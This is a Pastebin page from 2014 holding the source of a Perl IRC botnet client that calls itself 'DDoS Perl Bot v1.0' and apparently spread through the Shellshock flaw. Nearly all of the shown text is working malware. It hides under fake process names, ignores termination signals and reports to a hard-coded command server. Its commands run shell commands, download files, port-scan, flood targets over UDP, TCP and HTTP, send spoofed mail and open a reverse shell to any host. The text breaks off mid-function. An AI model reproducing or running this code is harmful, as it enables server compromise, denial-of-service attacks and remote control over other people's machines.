Guest User

http://202.143.160.141/lib21/index.cgi

a guest
Oct 31st, 2014
598
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 28.11 KB | None | 0 0
  1. #you got shellshocked???
  2. #blame unix! so dumb to have this exploit around!
  3. my @rps = ("/usr/local/apache/bin/httpd -DSSL",
  4.            "/usr/sbin/httpd -k start -DSSL",
  5.            "/usr/sbin/httpd",
  6.            "ksoftirqd/0",
  7.            "khelper",
  8.            "kblockd",
  9.            "/usr/sbin/apache2 -k start",
  10.            "kmpathd",
  11.            "httpd",
  12.            "/usr/sbin/acpid",
  13.            "/usr/sbin/cron");
  14. my $process = $rps[rand scalar @rps];
  15.  
  16. my $vers = "\001VERSION - unknown command.\001";
  17. my $ircname = "shock";
  18. my $realname = `uname -vr`;
  19. my $nick = "perl";
  20.  
  21. $server = 'mboost.su' unless $server;
  22. my $port = '443';
  23.  
  24. my $linas_max='10';
  25. my $sleep='5';
  26.  
  27. my $homedir = "/tmp";
  28. my $version = 'DDoS Perl Bot v1.0';
  29.  
  30. my @admins = ("M","st0n3d","x00","Jorgee");
  31. my @hostauth = ("lolhome");
  32. my @channels = ("#shock");
  33. $unamea = `uname -a`;
  34. $uid = `id`;
  35.  
  36. my $pacotes = 1;
  37.  
  38. $SIG{'INT'} = 'IGNORE';
  39. $SIG{'HUP'} = 'IGNORE';
  40. $SIG{'TERM'} = 'IGNORE';
  41. $SIG{'CHLD'} = 'IGNORE';
  42. $SIG{'PS'} = 'IGNORE';
  43.  
  44. use Socket;
  45. use IO::Socket;
  46. use IO::Socket::INET;
  47. use IO::Select;
  48.  
  49. chdir("$homedir");
  50.  
  51. $server="$ARGV[0]" if $ARGV[0];
  52. $0="$process"."\0"x16;;
  53. my $pid=fork;
  54. exit if $pid;
  55. die "Can't fork in background: $!" unless defined($pid);
  56.  
  57. our %irc_servers;
  58. our %DCC;
  59. my $dcc_sel = new IO::Select->new();
  60. $sel_cliente = IO::Select->new();
  61. sub sendraw {
  62.   if ($#_ == '1') {
  63.     my $socket = $_[0];
  64.     print $socket "$_[1]\n";
  65.   } else {
  66.     print $IRC_cur_socket "$_[0]\n";
  67.   }
  68. }
  69.  
  70. sub getstore ($$)
  71. {
  72.   my $url = shift;
  73.   my $file = shift;
  74.   $http_stream_out = 1;
  75.   open(GET_OUTFILE, "> $file");
  76.   %http_loop_check = ();
  77.   _get($url);
  78.   close GET_OUTFILE;
  79.   return $main::http_get_result;
  80. }
  81.  
  82. sub _get
  83. {
  84.   my $url = shift;
  85.   my $proxy = "";
  86.   grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  87.   if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
  88.     my $host = $1;
  89.     my $port = $2 || 80;
  90.     my $path = $3;
  91.     $path = "/" unless defined($path);
  92.     return _trivial_http_get($host, $port, $path);
  93.   } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
  94.     my $host = $1;
  95.     my $port = $2;
  96.     my $path = $url;
  97.     return _trivial_http_get($host, $port, $path);
  98.   } else {
  99.     return undef;
  100.   }
  101. }
  102.  
  103.  
  104. sub _trivial_http_get
  105. {
  106.   my($host, $port, $path) = @_;
  107.   my($AGENT, $VERSION, $p);
  108.   $AGENT = "get-minimal";
  109.   $VERSION = "20000118";
  110.   $path =~ s/ /%20/g;
  111.  
  112.   require IO::Socket;
  113.   local($^W) = 0;
  114.   my $sock = IO::Socket::INET->new(PeerAddr => $host,
  115.                                    PeerPort => $port,
  116.                                    Proto   => 'tcp',
  117.                                    Timeout  => 60) || return;
  118.   $sock->autoflush;
  119.   my $netloc = $host;
  120.   $netloc .= ":$port" if $port != 80;
  121.   my $request = "GET $path HTTP/1.0\015\012"
  122.               . "Host: $netloc\015\012"
  123.               . "User-Agent: $AGENT/$VERSION/u\015\012";
  124.   $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  125.   $request .= "\015\012";
  126.   print $sock $request;
  127.  
  128.   my $buf = "";
  129.   my $n;
  130.   my $b1 = "";
  131.   while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
  132.     if ($b1 eq "") {
  133.       $b1 = $buf;
  134.       $buf =~ s/.+?\015?\012\015?\012//s;
  135.     }
  136.     if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  137.   }
  138.   return undef unless defined($n);
  139.   $main::http_get_result = 200;
  140.   if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
  141.     $main::http_get_result = $1;
  142.     if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
  143.       my $url = $1;
  144.       return undef if $http_loop_check{$url}++;
  145.       return _get($url);
  146.     }
  147.     return undef unless $main::http_get_result =~ /^2/;
  148.   }
  149.  
  150.   return $buf;
  151. }
  152.  
  153. sub conectar {
  154.   my $meunick = $_[0];
  155.   my $server_con = $_[1];
  156.   my $port_con = $_[2];
  157.   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  158.   PeerPort=>$port_con) or return(1);
  159.   if (defined($IRC_socket)) {
  160.     $IRC_cur_socket = $IRC_socket;
  161.     $IRC_socket->autoflush(1);
  162.     $sel_cliente->add($IRC_socket);
  163.     $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
  164.     $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
  165.     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  166.     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  167.     nick("$meunick");
  168.     sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
  169.     sleep 1;
  170.   }
  171. }
  172.  
  173. my $line_temp;
  174. while( 1 ) {
  175.   while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  176.   delete($irc_servers{''}) if (defined($irc_servers{''}));
  177.   my @ready = $sel_cliente->can_read(0);
  178.   next unless(@ready);
  179.   foreach $fh (@ready) {
  180.     $IRC_cur_socket = $fh;
  181.     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  182.     $nread = sysread($fh, $msg, 4096);
  183.     if ($nread == 0) {
  184.       $sel_cliente->remove($fh);
  185.       $fh->close;
  186.       delete($irc_servers{$fh});
  187.     }
  188.     @lines = split (/\n/, $msg);
  189.     for(my $c=0; $c<= $#lines; $c++) {
  190.       $line = $lines[$c];
  191.       $line=$line_temp.$line if ($line_temp);
  192.       $line_temp='';
  193.       $line =~ s/\r$//;
  194.       unless ($c == $#lines) {
  195.         parse("$line");
  196.         } else {
  197.         if ($#lines == 0) {
  198.           parse("$line");
  199.           } elsif ($lines[$c] =~ /\r$/) {
  200.           parse("$line");
  201.           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  202.           parse("$line");
  203.         } else {
  204.       $line_temp = $line;
  205.         }
  206.       }
  207.     }
  208.   }
  209. }
  210.  
  211. sub parse {
  212.   my $servarg = shift;
  213.   if ($servarg =~ /^PING \:(.*)/) {
  214.     sendraw("PONG :$1");
  215.     } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  216.     my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  217.     if ($args =~ /^\001VERSION\001$/) {
  218.  
  219.     }
  220.     if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
  221.     if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
  222.     if ($onde eq "$meunick"){
  223.     shell("$pn", "$args");
  224.   }
  225.   if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
  226.     my $natrix = $1;
  227.     my $arg = $2;
  228.     if ($arg =~ /^\!(.*)/) {
  229.       ircase("$pn","$onde","$1");
  230.       } elsif ($arg =~ /^\@(.*)/) {
  231.       $ondep = $onde;
  232.       $ondep = $pn if $onde eq $meunick;
  233.       bfunc("$ondep","$1");
  234.       } else {
  235.       shell("$onde", "$arg");
  236.     }
  237.   }
  238. }
  239. }
  240. }
  241.  
  242. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  243.   if (lc($1) eq lc($meunick)) {
  244.   $meunick=$4;
  245.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  246.   }
  247.   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  248.   nick("$meunick|".int rand((8999999999)+1000000000));
  249.   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  250.   $meunick = $2;
  251.   $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  252.   $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  253.   foreach my $canal (@channels) {
  254.     sendraw("MODE $nick -xi");
  255.     sendraw("JOIN $canal 777");
  256.     sendraw("PRIVMSG $canal :$unamea");
  257.     sendraw("PRIVMSG $canal :$uid");
  258. }
  259. }
  260. }
  261.  
  262. sub bfunc {
  263. my $printl = $_[0];
  264. my $funcarg = $_[1];
  265.   if (my $pid = fork) {
  266.   waitpid($pid, 0);
  267.   } else {
  268.   if (fork) {
  269.   exit;
  270.   } else {
  271.  
  272. if ($funcarg =~ /^help/) {
  273.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  274.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help:  ");
  275.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  276.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system              ");
  277.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version             ");
  278.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel             ");
  279.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood               ");
  280.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils               ");
  281.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
  282. }
  283.  
  284. if ($funcarg =~ /^system/) {
  285.     $uptime=`uptime`;
  286.     $ownd=`pwd`;
  287.     $id=`id`;
  288.     $uname=`uname -srp`;
  289.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  290.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration:  ");
  291.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  292.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server       : 12$server ");
  293.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port         : 12$port ");
  294.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels     : 12@channels ");
  295.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a     : 12$uname ");
  296.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime       : 12$uptime ");
  297.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess  : 12$process ");
  298.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID   : 12$$ ");
  299.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID           : 12$id ");
  300.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir      : 12$ownd ");
  301.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
  302. }
  303.  
  304. if ($funcarg =~ /^version/){
  305.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  306.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations:                  ");
  307.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  308.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version   ");
  309.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12DDoS             ");
  310.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year    : 122012                ");
  311.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
  312. }
  313.  
  314. if ($funcarg =~ /^flood/) {
  315.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  316.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Flood Help: ");
  317.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  318.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time>               ");
  319.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time>        ");
  320.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time>               ");
  321.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time>  ");
  322.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time>                    ");
  323.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick>                      ");
  324.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick>                       ");
  325.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick>                    ");
  326.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
  327. }
  328.  
  329. if ($funcarg =~ /^channel/) {
  330.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  331.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Channel Help:     ");
  332.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  333.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel>            ");
  334.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel>            ");
  335.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel>          ");
  336.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick>       ");
  337.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick>     ");
  338.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick>    ");
  339.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick>  ");
  340.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick>            ");
  341.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick>                ");
  342.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit                      ");
  343.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die                       ");
  344.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
  345. }
  346.  
  347. if ($funcarg =~ /^utils/) {
  348.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  349.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Utils Help:                            ");
  350.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  351.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port>                              ");
  352.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file>                     ");
  353.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message>  ");
  354.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip>                                       ");
  355.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port>                               ");
  356.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip>                                  ");
  357.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example)                               ");
  358.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
  359. }
  360.  
  361. if ($funcarg =~ /^die/) {
  362.     sendraw($IRC_cur_socket, "QUIT :");
  363.     $killd = "kill -9 ".fork;
  364.     system (`$killd`);
  365. }
  366.  
  367. if ($funcarg =~ /^join (.*)/) {
  368.     sendraw($IRC_cur_socket, "JOIN ".$1);
  369. }
  370.  
  371. if ($funcarg =~ /^part (.*)/) {
  372.     sendraw($IRC_cur_socket, "PART ".$1);
  373. }
  374.  
  375. if ($funcarg =~ /^portscan (.*)/) {
  376.   my $hostip="$1";
  377.   my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
  378.   my (@aberta, %porta_banner);
  379.   sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
  380.   foreach my $porta (@portas)  {
  381.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  382.     if ($scansock) {
  383.       push (@aberta, $porta);
  384.       $scansock->close;
  385.     }
  386.   }
  387.   if (@aberta) {
  388.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta ");
  389.     } else {
  390.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. ");
  391.   }
  392. }
  393.  
  394. if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  395.     getstore("$1", "$2");
  396.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
  397. }
  398.  
  399. if ($funcarg =~ /^dns\s+(.*)/){
  400.     my $nsku = $1;
  401.     $mydns = inet_ntoa(inet_aton($nsku));
  402.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
  403. }
  404.  
  405. if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
  406.     my $hostip= "$1";
  407.     my $portsc= "$2";
  408.     my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
  409.     if ($scansock) {
  410.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
  411.     }
  412.     else {
  413.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
  414.     }
  415. }
  416.  
  417. if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
  418.     return unless $pacotes;
  419.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  420.     my $alvo=inet_aton("$1");
  421.     my $porta = "$2";
  422.     my $dtime = "$3";
  423.     my $pacote;
  424.     my $pacotese;
  425.     my $size = 0;
  426.     my $fim = time + $dtime;
  427.     my $pacota = 1;
  428.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  429.     while (($pacota == "1") && ($pacotes == "1")) {
  430.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  431.             $pacote = $size ? $size : int(rand(1024-64)+64) ;
  432.             $porta = int(rand 65000) +1 if ($porta == "0");
  433.             #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
  434.             send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
  435.             }
  436.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
  437. }
  438.  
  439. if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
  440.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
  441.     my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  442.     $dtime = 1 if $dtime == 0;
  443.     my %bytes;
  444.     $bytes{igmp} = $2 * $pacotes{igmp};
  445.     $bytes{icmp} = $2 * $pacotes{icmp};
  446.     $bytes{o} = $2 * $pacotes{o};
  447.     $bytes{udp} = $2 * $pacotes{udp};
  448.     $bytes{tcp} = $2 * $pacotes{tcp};
  449.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  450. }
  451.  
  452. if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
  453.     return unless $pacotes;
  454.     socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  455.     my $alvo=inet_aton("$1");
  456.     my $porta = "$2";
  457.     my $dtime = "$3";
  458.     my $pacote;
  459.     my $pacotese;
  460.     my $fim = time + $dtime;
  461.     my $pacota = 1;
  462.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
  463.     while (($pacota == "1") && ($pacotes == "1")) {
  464.             $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
  465.             $pacote= $rand x $rand x $rand;
  466.             $porta = int(rand 65000) +1 if ($porta == "0");
  467.             send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
  468.             }
  469.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
  470. }
  471.  
  472. if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
  473.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
  474.     my $itime = time;
  475.     my ($cur_time);
  476.     $cur_time = time - $itime;
  477.     while ($3>$cur_time){
  478.     $cur_time = time - $itime;
  479.     &tcpflooder("$1","$2","$3");
  480. }
  481.     sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
  482. }
  483.  
  484. if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
  485.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
  486.     my $itime = time;
  487.     my ($cur_time);
  488.     $cur_time = time - $itime;
  489.     while ($2>$cur_time){
  490.     $cur_time = time - $itime;
  491.     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  492.     print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  493.     close($socket);
  494. }
  495.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. ");
  496. }
  497.  
  498. if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
  499.     my $host = "$1";
  500.     my $port = "$2";
  501.     my $proto = getprotobyname('tcp');
  502.     my $iaddr = inet_aton($host);
  503.     my $paddr = sockaddr_in($port, $iaddr);
  504.     my $shell = "/bin/sh -i";
  505. if ($^O eq "MSWin32") {
  506.     $shell = "cmd.exe";
  507. }
  508.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port ");
  509.     socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  510.     connect(SOCKET, $paddr) or die "connect: $!";
  511.     open(STDIN, ">&SOCKET");
  512.     open(STDOUT, ">&SOCKET");
  513.     open(STDERR, ">&SOCKET");
  514.     system("$shell");
  515.     close(STDIN);
  516.     close(STDOUT);
  517.     close(STDERR);
  518. }
  519.  
  520. if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  521.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
  522.     $subject = $1;
  523.     $sender = $2;
  524.     $recipient = $3;
  525.     @corpo = $4;
  526.     $mailtype = "content-type: text/html";
  527.     $sendmail = '/usr/sbin/sendmail';
  528.     open (SENDMAIL, "| $sendmail -t");
  529.     print SENDMAIL "$mailtype\n";
  530.     print SENDMAIL "Subject: $subject\n";
  531.     print SENDMAIL "From: $sender\n";
  532.     print SENDMAIL "To: $recipient\n\n";
  533.     print SENDMAIL "@corpo\n\n";
  534.     close (SENDMAIL);
  535.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
  536. }
  537. exit;
  538. }
  539. }
  540.  
  541. if ($funcarg =~ /^ctcpflood (.*)/) {
  542.     my $target = "$1";
  543.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
  544.     for (1..10) {
  545.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
  546.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
  547.     }
  548. }
  549.  
  550. if ($funcarg =~ /^msgflood (.*)/) {
  551.     my $target = "$1";
  552.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." ");
  553.     sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  554. }
  555.  
  556. if ($funcarg =~ /^noticeflood (.*)/) {
  557.     my $target = "$1";
  558.     sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." ");
  559.     for (1..2){
  560.     sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
  561.     }
  562. }
  563.  
  564. sub ircase {
  565. my ($kem, $printl, $case) = @_;
  566.    if ($case =~ /^join (.*)/) {
  567.      j("$1");
  568.    }
  569.    elsif ($case =~ /^part (.*)/) {
  570.       p("$1");
  571.    }
  572.    elsif ($case =~ /^rejoin\s+(.*)/) {
  573.       my $chan = $1;
  574.       if ($chan =~ /^(\d+) (.*)/) {
  575.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  576.           p("$2");
  577.           j("$2");
  578.         }
  579.       } else {
  580.           p("$chan");
  581.           j("$chan");
  582.       }
  583.    }
  584.    elsif ($case =~ /^op/) {
  585.       op("$printl", "$kem") if $case eq "op";
  586.       my $oarg = substr($case, 3);
